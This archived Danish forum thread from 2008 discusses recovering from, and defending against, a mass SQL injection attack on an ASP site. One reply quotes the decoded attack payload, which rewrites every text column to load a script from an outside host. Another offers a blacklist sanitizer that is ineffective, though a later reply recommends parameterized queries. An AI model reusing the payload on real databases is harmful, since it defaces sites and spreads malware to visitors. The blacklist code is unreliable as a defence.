/ Forside / Teknologi / Udvikling / ASP / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
ASP
#NavnPoint
smorch 9259
Harlekin 1866
molokyle 1040
Steffanst.. 758
gandalf 657
smilly 564
gibson 560
cumano 530
MouseKeep.. 480
10  Random 410
SQL Injection
Fra : John Sarby


Dato : 17-06-08 15:56

Hej.

Min database er blevet ødelagt via SQL Injection - er der en der
kender et program hvordan man renser databasen igen????

mvh

John

--
Vil du lære at kode HTML, XHTML, CSS, SSI, ASP eller ASP.NET?
- Pædagogiske tutorials på dansk
- Kom godt i gang med koderne
KLIK HER! => http://www.html.dk/tutorials

 
 
VagnT (17-06-2008)
Kommentar
Fra : VagnT


Dato : 17-06-08 16:17

> Min database er blevet ødelagt via SQL Injection - er der en
der
> kender et program hvordan man renser databasen igen????

De SQL injection angreb der er set på det seneste er destruktive
= databasen er helt eller delvist ødelagt.

I nogle tilfælde er indholdet i bestemte felter udskiftet med nyt
indhold = kan ikke repareres.

I andre tilfælde er der tilføjet kode til felterne = kan måske
renses manuelt.

Bedste råd er at indlæse sidste sikkerhedskopi hvis du ellers har
en.

VagnT

--
Vil du lære at kode HTML, XHTML, CSS, SSI, ASP eller ASP.NET?
- Pædagogiske tutorials på dansk
- Kom godt i gang med koderne
KLIK HER! => http://www.html.dk/tutorials

Stig Johansen (18-06-2008)
Kommentar
Fra : Stig Johansen


Dato : 18-06-08 06:01

"VagnT" <vagnt@nospam.dk> wrote in message
news:4857d562$0$90266$14726298@news.sunsite.dk...
> > Min database er blevet ødelagt via SQL Injection - er der en
> der
> > kender et program hvordan man renser databasen igen????
>
> De SQL injection angreb der er set på det seneste er destruktive
> = databasen er helt eller delvist ødelagt.

Hvis det er 'kineseren', så sætter den <script> ind i alle felter.
Her er den decodede SQL fra URI'en:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.killpp.cn/k.js>''')FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Den kan bygges om til at udskrive de tabeller og felter, der er opdateret.
Jeg tvivler dog på der er nogen vej uden om en restore af databasen.

--
Med venlig hilsen/Best regards
Stig Johansen




Jesper F (18-06-2008)
Kommentar
Fra : Jesper F


Dato : 18-06-08 01:40

> Min database er blevet ødelagt via SQL Injection - er der en der
> kender et program hvordan man renser databasen igen????

og få gennemgået din hjemmeside, så der ikke kan laves SQL-injection.
Vi var selv ude for det for nylig.

Jesper



John Sarby (18-06-2008)
Kommentar
Fra : John Sarby


Dato : 18-06-08 22:22

Hej Jesper.
Tak for dit inlæg - jeg fik renset min database ved at udtrække data og
rense den for <script> - for derefter at lægge det ind igen.

Du skrev at du have været ude for det selv og fik ordnet dine sider -
hvordan skal koden se ud for de sider der er truet - det er dem med
input felter - ikke !!

Gider du lægge lidt kode til mig så vil det være en del lettere at rette
mine sider.

På forhånd tak - til alle der har svaret.

MVH

John

--
Vil du lære at kode HTML, XHTML, CSS, SSI, ASP eller ASP.NET?
- Pædagogiske tutorials på dansk
- Kom godt i gang med koderne
KLIK HER! => http://www.html.dk/tutorials

Jesper F (18-06-2008)
Kommentar
Fra : Jesper F


Dato : 18-06-08 22:42

> Gider du lægge lidt kode til mig så vil det være en del lettere at rette
> mine sider.

Jeg skal prøve, jeg er ikke ekspert, men jeg fulgte nogle artikler om emnet
jeg fandt og jeg har forsøgt at læse lidt op på, hvad det er for noget.

Her er en længere artikel om hvordan de gør
http://www.unixwiz.net/techtips/sql-injection.html

Det handler om at noge bestemte termer og tegn skal renses fra dine
input-felter før de sendes til databasen.
Derudover skal man Stored Procedures når man kommunikerer med databasen.

Jeg frasorterer termer som "delete" "drop" "select" "update" "insert" og
så f.eks. en funktion som denne

<%
function dbsafe(data)
data = replace(data,";","")
data = replace(data,"'","")
data = replace(data,"--","")
data = replace(data,"/*","")
data = replace(data,"*/","")
data = replace(data,"*","")
data = replace(data,"/","")
data = replace(data,"xp_","")
end function
%>

som alle input-felter køres igennem.
Det skulle hjælpe vil jeg mene.

Jesper




Stig Johansen (19-06-2008)
Kommentar
Fra : Stig Johansen


Dato : 19-06-08 05:44

Jesper F wrote:

> Her er en længere artikel om hvordan de gør
> http://www.unixwiz.net/techtips/sql-injection.html

Her er en noget mere uddybende stribe eksempler.

> Det handler om at noge bestemte termer og tegn skal renses fra dine
> input-felter før de sendes til databasen.

Hvis man benytter parameterized queries, så er man ude over det problem.

> Derudover skal man Stored Procedures når man kommunikerer med databasen.

Det har ikke den store betydning, hvis disse heller ikke er parameterized.

>
> Jeg frasorterer termer som "delete" "drop" "select" "update" "insert" og
> så f.eks. en funktion som denne
>
> <%
> function dbsafe(data)
> data = replace(data,";","")
> data = replace(data,"'","")
> data = replace(data,"--","")
> data = replace(data,"/*","")
> data = replace(data,"*/","")
> data = replace(data,"*","")
> data = replace(data,"/","")
> data = replace(data,"xp_","")
> end function
> %>
>
> som alle input-felter køres igennem.
> Det skulle hjælpe vil jeg mene.

Ud over det begrænser indholdet, så mangler du forskellige hexnotationer.

Her er lidt klip fra oprettelse af en message:
<code snippets>
.....
Set AdoCommandMessage = Server.CreateObject ("ADODB.Command")
AdoCommandMessage.ActiveConnection = oConn
AdoCommandMessage.CommandType = adCmdText
AdoCommandMessage.Parameters.Append
AdoCommandMessage.CreateParameter("message", adLongVarChar,
adParamInput,-1,"")
.....
MessageBody = Request.form("MessageBody")
.....
sql="INSERT INTO Messages VALUES(" + _
cStr(MessageVersion+MessageVersionDelta)+"," + _
cStr(UserId)+","+ _
MessageType + "," + _
"?,'"+ _
cStr(Now)+"')"
if debug then Response.Write sql + "<br />"

AdoCommandMessage.CommandText = sql
AdoCommandMessage(0) = MessageBody
AdoCommandMessage.Execute
.....
<c/ode snippets>

Humlen er, at SQL og Parametre/input er adskilt, så uanset hvad, og hvilke
karakterer, der står i MessageBody, så påvirker det ikke SQL'et.

--
Med venlig hilsen
Stig Johansen

Søg
Reklame
Statistik
Spørgsmål : 177558
Tips : 31968
Nyheder : 719565
Indlæg : 6408914
Brugere : 218888

Månedens bedste
Årets bedste
Sidste års bedste